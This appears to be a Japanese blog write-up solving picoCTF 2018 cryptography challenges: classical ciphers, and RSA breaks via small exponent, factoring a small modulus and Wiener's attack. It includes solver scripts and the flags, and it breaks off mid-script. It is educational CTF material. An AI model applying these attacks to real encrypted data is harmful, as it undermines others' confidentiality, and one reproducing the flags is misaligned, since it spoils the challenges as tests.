IN THE LANCE-RACK, AN OLD BUCKLER, A LEAN HACK, AND A GREYHOUND FOR
COURSING. AN OLLA OF RATHER MORE BEEF THAN MUTTON, A SALAD ON MOST
NIGHTS, SCRAPS ON SATURDAYS, LENTILS ON FRIDAYS, AND A PIGEON OR SO EXTRA
ON SUNDAYS, MADE AWAY WITH THREE-QUARTERS OF HIS INCOME. THE REST OF IT
WENT IN A DOUBLET OF FINE CLOTH AND VELVET BREECHES AND SHOES TO MATCH
FOR HOLIDAYS, WHILE ON WEEK-DAYS HE MADE A BRAVE FIGURE IN HIS BEST
HOMESPUN. HE HAD IN HIS HOUSE A HOUSEKEEPER PAST FORTY, A NIECE UNDER
TWENTY, AND A LAD FOR THE FIELD AND MARKET-PLACE, WHO USED TO SADDLE THE
HACK AS WELL AS HANDLE THE BILL-HOOK. THE AGE OF THIS GENTLEMAN OF OURS
WAS BORDERING ON FIFTY; HE WAS OF A HARDY HABIT, SPARE, GAUNT-FEATURED, A
VERY EARLY RISER AND A GREAT SPORTSMAN. THEY WILL HAVE IT HIS SURNAME WAS
QUIXADA OR QUESADA (FOR HERE THERE IS SOME DIFFERENCE OF OPINION AMONG
THE AUTHORS WHO WRITE ON THE SUBJECT), ALTHOUGH FROM REASONABLE
CONJECTURES IT SEEMS PLAIN THAT HE WAS CALLED UEXANA. THIS, HOWEVER, IS
OF BUT LITTLE IMPORTANCE TO OUR TALE; IT WILL BE ENOUGH NOT TO STRAY A
HAIR'S BREADTH FROM THE TRUTH IN THE TELLING OF IT.

YOU MUST KNOW, THEN, THAT THE ABOVE-NAMED GENTLEMAN WHENEVER HE WAS AT
LEISURE (WHICH WAS MOSTLY ALL THE YEAR ROUND) GAVE HIMSELF UP TO READING
BOOKS OF CHIVALRY WITH SUCH ARDOUR AND AVIDITY THAT HE ALMOST ENTIRELY
NEGLECTED THE PURSUIT OF HIS FIELD-SPORTS, AND EVEN THE MANAGEMENT OF HIS
PROPERTY; AND TO SUCH A PITCH DID HIS EAGERNESS AND INFATUATION GO THAT
HE SOLD MANY AN ACRE OF TILLAGELAND TO BUY BOOKS OF CHIVALRY TO READ, AND
BROUGHT HOME AS MANY OF THEM AS HE COULD GET. BUT OF ALL THERE WERE NONE
HE LIKED SO WELL AS THOSE OF THE FAMOUS FELICIANO DE SILVA'S COMPOSITION,
FOR THEIR LUCIDITY OF STYLE AND COMPLICATED CONCEITS WERE AS PEARLS IN
HIS SIGHT, PARTICULARLY WHEN IN HIS READING HE CAME UPON COURTSHIPS AND
CARTELS, WHERE HE OFTEN FOUND PASSAGES LIKE "THE REASON OF THE UNREASON
WITH WHICH MY REASON IS AFFLICTED SO WEAKENS MY REASON THAT WITH REASON I
MURMUR AT YOUR BEAUTY;" OR AGAIN, "THE HIGH HEAVENS, THAT OF YOUR
DIVINITY DIVINELY FORTIFY YOU WITH THE STARS, RENDER YOU DESERVING OF THE
DESERT YOUR GREATNESS DESERVES." OVER CONCEITS OF THIS SORT THE POOR
GENTLEMAN LOST HIS WITS, AND USED TO LIE AWAKE STRIVING TO UNDERSTAND
THEM AND WORM THE MEANING OUT OF THEM; WHAT ARISTOTLE HIMSELF COULD NOT
HAVE MADE OUT OR EXTRACTED HAD HE COME TO LIFE AGAIN FOR THAT SPECIAL
PURPOSE. HE WAS NOT AT ALL EASY ABOUT THE WOUNDS WHICH DON BELIANIS GAVE
AND TOOK, BECAUSE IT SEEMED TO HIM THAT, GREAT AS WERE THE SURGEONS WHO
HAD CURED HIM, HE MUST HAVE HAD HIS FACE AND BODY COVERED ALL OVER WITH
SEAMS AND SCARS. HE COMMENDED, HOWEVER, THE AUTHOR'S WAY OF ENDING HIS
BOOK WITH THE PROMISE OF THAT INTERMINABLE ADVENTURE, AND MANY A TIME WAS
HE TEMPTED TO TAKE UP HIS PEN AND FINISH IT PROPERLY AS IS THERE
PROPOSED, WHICH NO DOUBT HE WOULD HAVE DONE, AND MADE A SUCCESSFUL PIECE
OF WORK OF IT TOO, HAD NOT GREATER AND MORE ABSORBING THOUGHTS PREVENTED
HIM.

picoCTF{substitution_ciphers_are_solvable_fgnvvgndms}

人力でも解けますがquipqiup - cryptoquip and cryptogram solverなどのサイトであたりをつけてから解いたほうが速く解けます.

blaise's cipher - Points: 200

My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell1.picoctf.com 18981.

アプローチ:ヴィジュネル暗号

Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.

Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.

Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_095glcih}

Ehk Atgksprk htpnjc ggnyej f cevzeaznzn ltc bknyg kcnevytotfwle xerusr. Nuypd gzehuw lnj rltnjxaznnigs Nhgwwey Qftcnogk Izdmxzn (Rjhiy Hlrxtwl) ifwlki ehk Atgksprk htpnjc utgcegplbrj tn nnd 1868 pojne "Zmp Arusahje Cousex" ny a imtljwpn'y rlggetnk. Ny 1917, Sinpnznqii Fxexnnat ipsiwtbki ehk Atgksprk htpnjc ay "nxpuxdihqp ol ycatxwaznzn". Zmts xjauzfeius hay szt jjdexapd. Imlrrjd Bggmamj ts qszwt yz hgap bxtvet f gaxnlnz tq tnj nivmpr gx paxqj ay 1854; mzwkapr, nj oijs'e pagwiym siy bzrq. Plsoxvi kseixjwy hwzkk yse inahkw lnj ufbrndhki ehk ypcnstqaj tn zmp 19tn hpnzzcy. Kapn hjqoxj ehox, ehuzrh, ytxe yptlrjo cxdatgsllexes itflj tncgxtotfwle gcegp ehk htpnjc it yse 16zm netyfre.

Hcyvyzgxfahoh dloip raqp uyjo ay f narhflgytot ftd hd ehk Xhiyx Lrsd mezbpet 1914 fyd 1940.
Zmp Volpnkwp cousex nd soralk jyoals tu gp a lnplj htpnjc il ne iy zdej ny cusuutheius hizm nivmpr jndky. Yse Ityfkiprgyp Szfeey tq Asjciif, qox jiasuwe, axpd g gcayx nivmpr jndk zt tmvqpmkse tnj Gimjyexj nivmpr jzcitl ehk Fxexnnat Htvoq Hax. Yse Ityfkiprghj's sjdsglps cjce lfc fxtx skhcez fyd zmp Utnzn xjrurfcle hcaippd zmpix rpsyfrey. Ysruzrhuze tnj hax, yse Ityfkiprgyp lkfoexxsiv ucisfcird cernpd auzn zmcek ppy vmcayjd, "Mgsnhkxeex Gwulk", "Nosuwezj Giiyzre" fyd, gx ehk blr ifxe zt l crtde, "Itxe Xjerogftoty".

Goqmexy Gexslm zwtej yz rkulix yse hwzkks nivmpr (iwpaznyg zmp Vkwyas–Atgksprk htpnjc it 1918), gft, tt xazypr cmlt nj oij, yse inahkw hay xeirq gursprggwe zt nreueatfwyynd. Vkwyas'x hoxp, socjgex, jgetyfarqj lki eo zmp otj-eisj aaj, f ehktceznnarqj utgcegplbrj nivmpr.

blaise's cipherVigenere Cipherのことなので Vigenere Solverを使います

The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.

What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.

Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}

The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.

Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".

Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.

サイトの詳細情報からkeyflagということも分かります(便利).

picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}

hertz 2 - Points: 200

This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc 2018shell1.picoctf.com 59771.

アプローチ:換字式暗号

Big ljayn pevht fvs djqrx voge big mwzu cvk. A ywt'b pgmagog biax ax xjyi wt gwxu revpmgq at Rayv. Ab'x wmqvxb wx af A xvmogc w revpmgq wmegwcu! Vnwu, fatg. Igeg'x big fmwk: rayvYBF{xjpxbabjbavt_yarigex_weg_bvv_gwxu_xayqabjymm}

換字式暗号っぽいのでquipqiupを使います(文量が少なく人力は難しそうなので).

The quick bro?n fo? ?umps over the la?y dog. I can't believe this is such an easy problem in Pico. It's almost as if I solved a problem already! Okay, fine. Here's the flag: picoCTF{substitution_ciphers_are_too_easy_sicmitucll}

picoCTF{substitution_ciphers_are_too_easy_sicmitucll}

Safe RSA - Points: 250

Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..

N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e: 3

ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773

アプローチ:Low Public Exponent Attack

eがとても小さいのでLow Public Exponent Attackが使えそうです.
Low Public Exponent Attackeが小さいとき,ne乗根以下の平文mについては単純に暗号文ce乗根を取れば求めることができるというものです.

https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Low_public_exponent_attack

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound


if __name__ == '__main__':
    n = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
    e = 3
    c = 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773

    m, bound = root_e(c, e, n)

    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))

caesar cipher 2 - Points: 250

Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_2_d9c42f8026f320079f3d4fcbaa410615 on the shell server.

PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]

アプローチ:ASCIIテーブル

messageを見るとASCIIテーブル上で32ずれてるっぽいことが分かります(PICO[などから)

適当に変換スクリプトを書きます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

message = 'PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]'
ans = [chr(ord(x) + 32) for x in message]
print(''.join(ans))

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

rsa-madlibs - Points: 250

We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc 2018shell1.picoctf.com 40440

アプローチ:RSA関連知識

ncするとRSAに関する計算問題がでるのでそれに答えていきます.

> nc 2018shell1.picoctf.com 40440
0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'>
Hello, Welcome to RSA Madlibs
Keeping young children entertained, since, well, nev3r
Tell us how to fill in the blanks, or if it's even possible to do so
Everything, input and output, is decimal, not hex
#### NEW MADLIB ####
q : 93187
p : 94603
##### WE'RE GONNA NEED THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
n: 8815769761
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
p : 81203
n : 6315400919
##### WE'RE GONNA NEED THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
q: 77773
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### WE'RE GONNA NEED THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
q : 78203
p : 79999
##### WE'RE GONNA NEED THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
totient(n): 6256003596
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### WE'RE GONNA NEED THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
ciphertext: 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### WE'RE GONNA NEED THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
plaintext: 240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013
YAHHH! That one was a great madlib!!!


If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)

最終問題の答えをasciiに変換するとflagになります. picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}

計算に使用したスクリプト

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def solve1():
    message = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
    e = 3
    n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331

    c = pow(message, e, n)
    print(c)

def solve2():
    q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
    p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
    e = 65537

    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)
    print(u)
    # m = pow(C, u, N)
    # print(m)
    # print(codecs.decode(('%x'%m),'hex_codec'))

def solve3():
    p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
    ciphertext = 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598
    e = 65537
    n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
    q = n//p

    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)
    while u < 0:
        u += l
    m = pow(ciphertext, u, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))

if __name__ == '__main__':

    # solve1()
    # solve2()
    solve3()

Super Safe RSA - Points: 350

Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc 2018shell1.picoctf.com 1317

アプローチ:RSA is Power (SECCON BeginnersCTF 2018)

> nc 2018shell1.picoctf.com 1317
c: 1436146412347957534046107225780192646103940843567589941225217059483280549059276
n: 24116535407257621724503452906516818899123446034927680189195610304035939968688297
e: 65537

ncすると80桁(264bit)のnが降ってきます.
この程度の桁数ならラップトップでも十分素因数分解できます.
しかし,弱いアルゴリズムでは無理なのでmsieveを利用します.

sourceforge.net

> ./msieve -e -q -v 24116535407257621724503452906516818899123446034927680189195610304035939968688297

Msieve v. 1.53 (SVN Unversioned directory)
Wed Oct  3 02:10:19 2018
random seeds: e7218537 e13b5f3e
factoring 24116535407257621724503452906516818899123446034927680189195610304035939968688297 (80 digits)
no P-1/P+1/ECM available, skipping
commencing quadratic sieve (80-digit input)
using multiplier of 1
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 1224919 (47285 primes)
using large prime bound of 122491900 (26 bits)
using trial factoring cutoff of 27 bits
polynomial 'A' values have 10 factors

sieving in progress (press Ctrl-C to pause)
47465 relations (24001 full + 23464 combined from 261533 partial), need 47381
47465 relations (24001 full + 23464 combined from 261533 partial), need 47381
sieving complete, commencing postprocessing
begin with 285534 relations
reduce to 68099 relations in 2 passes
attempting to read 68099 relations
recovered 68099 relations
recovered 57930 polynomials
attempting to build 47465 cycles
found 47465 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 24001
   length 2 : 23464
largest cycle: 2 relations
matrix is 47285 x 47465 (6.8 MB) with weight 1404341 (29.59/col)
sparse part has weight 1404341 (29.59/col)
filtering completed in 3 passes
matrix is 33992 x 34056 (5.3 MB) with weight 1118501 (32.84/col)
sparse part has weight 1118501 (32.84/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 33944 x 34056 (3.4 MB) with weight 802210 (23.56/col)
sparse part has weight 542953 (15.94/col)
using block size 8192 and superblock size 786432 for processor cache size 8192 kB
commencing Lanczos iteration
memory use: 2.0 MB
lanczos halted after 538 iterations (dim = 33944)
recovered 17 nontrivial dependencies
p39 factor: 160245102178232096945963624180811161801
p42 factor: 150497800428459168557826076453135585513697
elapsed time 00:03:51

4分弱待つと素数がふってくるので後はRSAを普通に解きます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

if __name__ == '__main__':

    n = 24116535407257621724503452906516818899123446034927680189195610304035939968688297
    p = 160245102178232096945963624180811161801
    q = 150497800428459168557826076453135585513697
    e = 65537
    c = 1436146412347957534046107225780192646103940843567589941225217059483280549059276
    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)

    while u < 0:
        u += l

    m = pow(c, u, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python -i solve.py
198614235373674103789367498165241205414198384663776181046663386461644141181
b'picoCTF{us3_l@rg3r_pr1m3$_0622}'

picoCTF{us3_l@rg3r_pr1m3$_0622}

ncする度に異なるncが降ってくるのはfactordb.com対策かな?

Super Safe RSA 2 - Points: 425

Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell1.picoctf.com 47295

アプローチ:Wiener's Attack

ncすると

> nc 2018shell1.picoctf.com 47295
c: 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228
n: 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421
e: 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429

eが異常に大きいですね.
なので,Wiener's Attackが使えそうです

Wiener's attack - Wikipedia

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def continued_fraction(n, d):
    cf = []
    while d:
        q = n // d
        cf.append(q)
        n, d = d, n-d*q
    return cf

def convergents_of_contfrac(cf):
    n0, n1 = cf[0], cf[0]*cf[1]+1
    d0, d1 = 1, cf[1]
    yield (n0, d0)
    yield (n1, d1)

    for i in range(2, len(cf)):
        n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0
        yield (n2, d2)
        n0, n1 = n1, n2
        d0, d1 = d1, d2

def wieners_attack(e, n):
    cf = continued_fraction(e, n)
    convergents = convergents_of_contfrac(cf)

    for k, d in convergents:
        if k == 0:
            continue
        phi, rem = divmod(e*d-1, k)
        if rem != 0:
            continue
        s = n - phi + 1
        # check if x^2 - s*x + n = 0 has integer roots
        D = s*s - 4*n
        if D > 0 and gmpy.is_square(D):
            return d


if __name__ == '__main__':

